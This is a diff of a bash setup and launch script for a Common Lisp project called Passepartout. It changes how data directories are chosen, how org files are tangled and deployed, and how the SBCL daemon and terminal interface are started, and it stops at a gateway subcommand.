export PASSEPARTOUT_DATA_DIR="${PASSEPARTOUT_DATA_DIR:-$(if [ -d "$HOME/memex/projects/passepartout/lisp" ]; then realpath -m "$HOME/memex/projects/passepartout"; else realpath -m "${XDG_DATA_HOME:-$HOME/.local/share}/passepartout"; fi)}"
export PASSEPARTOUT_DATA_DIR="${PASSEPARTOUT_DATA_DIR:-$(realpath -m "${XDG_DATA_HOME:-$HOME/.local/share}/passepartout")}"
export PASSEPARTOUT_STATE_DIR="$(realpath -m "${XDG_STATE_HOME:-$HOME/.local/state}/passepartout")"
export PASSEPARTOUT_BIN_DIR="$(realpath -m "${XDG_BIN_HOME:-$HOME/.local/bin}")"
export PASSEPARTOUT_MEMEX_DIR="${PASSEPARTOUT_MEMEX_DIR:-$HOME/memex}"
@@ -81,9 +81,6 @@ setup_system() {
esac
done
# Always deploy to XDG, not the dev directory
export PASSEPARTOUT_DATA_DIR="$(realpath -m "${XDG_DATA_HOME:-$HOME/.local/share}/passepartout")"
echo -e "${BLUE}=== Passepartout: Configure ===${NC}"
mkdir -p "$PASSEPARTOUT_CONFIG_DIR" "$PASSEPARTOUT_DATA_DIR" "$PASSEPARTOUT_STATE_DIR" "$PASSEPARTOUT_BIN_DIR"
mkdir -p "$PASSEPARTOUT_DATA_DIR/org" "$PASSEPARTOUT_DATA_DIR/lisp" "$PASSEPARTOUT_DATA_DIR/tests"
@@ -100,9 +97,7 @@ setup_system() {
fi
echo -e "${YELLOW}--- Deploying Engine to $PASSEPARTOUT_DATA_DIR ---${NC}"
if [ "$SCRIPT_DIR" != "$PASSEPARTOUT_DATA_DIR" ]; then
cp "$SCRIPT_DIR/passepartout.asd" "$PASSEPARTOUT_DATA_DIR/"
fi
cp "$SCRIPT_DIR/passepartout.asd" "$PASSEPARTOUT_DATA_DIR/"
mkdir -p "$PASSEPARTOUT_DATA_DIR/org" "$PASSEPARTOUT_DATA_DIR/lisp" "$PASSEPARTOUT_DATA_DIR/tests"
export INSTALL_DIR="$PASSEPARTOUT_DATA_DIR"
@@ -111,7 +106,7 @@ setup_system() {
[ -f "$f" ] || continue
fname=$(basename "$f" .org)
echo "Tangling $fname..."
[ "$SCRIPT_DIR" != "$PASSEPARTOUT_DATA_DIR" ] && cp "$f" "$PASSEPARTOUT_DATA_DIR/org/"
cp "$f" "$PASSEPARTOUT_DATA_DIR/org/"
(cd "$PASSEPARTOUT_DATA_DIR/org" && emacs -Q --batch \
--eval "(require 'org)" \
--eval "(setq org-confirm-babel-evaluate nil)" \
@@ -352,17 +347,19 @@ case "$COMMAND" in
--eval '(funcall (find-symbol "DIAGNOSTICS-MAIN" :passepartout))'
fi
;;
daemon)
check_dependencies
export PASSEPARTOUT_DATA_DIR="${PASSEPARTOUT_DATA_DIR:-$SCRIPT_DIR}"
export MEMEX_DIR="${PASSEPARTOUT_MEMEX_DIR:-$HOME/memex}"
echo "Starting daemon (data dir: $PASSEPARTOUT_DATA_DIR)..."
daemon)
check_dependencies
# Use the script's directory as the data dir (development mode)
# In production, set PASSEPARTOUT_DATA_DIR to your deployment path
export PASSEPARTOUT_DATA_DIR="${PASSEPARTOUT_DATA_DIR:-$SCRIPT_DIR}"
export MEMEX_DIR="${PASSEPARTOUT_MEMEX_DIR:-$HOME/memex}"
echo "Starting daemon (data dir: $PASSEPARTOUT_DATA_DIR)..."
nohup sbcl --non-interactive \
--eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' \
--eval '(ql:quickload :passepartout)' \
--eval "(handler-case (load (format nil \"~alisp/neuro-router.lisp\" (truename \"$PASSEPARTOUT_DATA_DIR/\"))) (error () nil))" \
--eval "(handler-case (load (format nil \"~alisp/embedding-backends.lisp\" (truename \"$PASSEPARTOUT_DATA_DIR/\"))) (error () nil))" \
--eval "(handler-case (load (format nil \"~alisp/neuro-explorer.lisp\" (truename \"$PASSEPARTOUT_DATA_DIR/\"))) (error () nil))" \
--eval "(ql:quickload :passepartout)" \
--eval "(load (format nil \"~alisp/neuro-router.lisp\" (truename \"$PASSEPARTOUT_DATA_DIR/\")))" \
--eval "(load (format nil \"~alisp/embedding-backends.lisp\" (truename \"$PASSEPARTOUT_DATA_DIR/\")))" \
--eval "(load (format nil \"~alisp/neuro-explorer.lisp\" (truename \"$PASSEPARTOUT_DATA_DIR/\")))" \
--eval '(funcall (find-symbol "MAIN" :passepartout))' \
> "$PASSEPARTOUT_STATE_DIR/daemon.log" 2>&1 &
echo "Waiting for port 9105..."
@@ -381,32 +378,13 @@ case "$COMMAND" in
echo "Starting daemon first..."
$0 daemon
fi
# Build TUI load script with proper paths
cat > /tmp/tui-load.lisp << LISPEOF
(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))
(declaim (optimize (debug 3) (speed 0) (safety 3)))
(push (truename "$PASSEPARTOUT_DATA_DIR/") asdf:*central-registry*)
(ql:quickload :cl-tty :silent t)
(ql:quickload :passepartout :silent t)
(let ((dir (pathname (format nil "~a/lisp/" (truename "$PASSEPARTOUT_DATA_DIR")))))
(dolist (f '("channel-tui-state" "channel-tui-view" "channel-tui-main"))
(let* ((src (merge-pathnames (format nil "~a.lisp" f) dir))
(fasl (merge-pathnames (format nil "~a.fasl" f) dir)))
(when (or (not (probe-file fasl))
(< (file-write-date fasl) (file-write-date src)))
(compile-file src :output-file fasl :verbose nil :print nil))
(load fasl :verbose nil :print nil))))
(in-package :passepartout)
(handler-bind ((error (lambda (c) (ignore-errors
(with-open-file (f (merge-pathnames ".cache/passepartout/tui-crash.log" (user-homedir-pathname))
:direction :output :if-exists :supersede :if-does-not-exist :create)
(format f "CRASH: ~a~%~%" c) (sb-debug:print-backtrace :count 50 :stream f) (finish-output f)))
(format t "~%=== TUI CRASH ===~%CRASH: ~a~%" c)
(format t "Full backtrace saved to ~~/.cache/passepartout/tui-crash.log~%")
(sleep 3) (finish-output) (uiop:quit 1))))
(passepartout.channel-tui:tui-main))
LISPEOF
exec sbcl --noinform --load /tmp/tui-load.lisp
exec sbcl \
--eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' \
--eval '(declaim (optimize (debug 3) (speed 0) (safety 3)))' \
--eval "(push (truename \"$PASSEPARTOUT_DATA_DIR/\") asdf:*central-registry*)" \
--eval '(ql:quickload :passepartout/tui)' \
--eval '(in-package :passepartout)' \
--eval '(handler-bind ((error (lambda (c) (format t "~%CRASH: ~a~%" c) (sb-debug:print-backtrace :count 30 :stream *error-output*) (finish-output) (finish-output *error-output*) (uiop:quit 1)))) (passepartout.channel-tui:tui-main))'
;;
gateway)
SUBCMD=$1; PLATFORM=$2; TOKEN=$3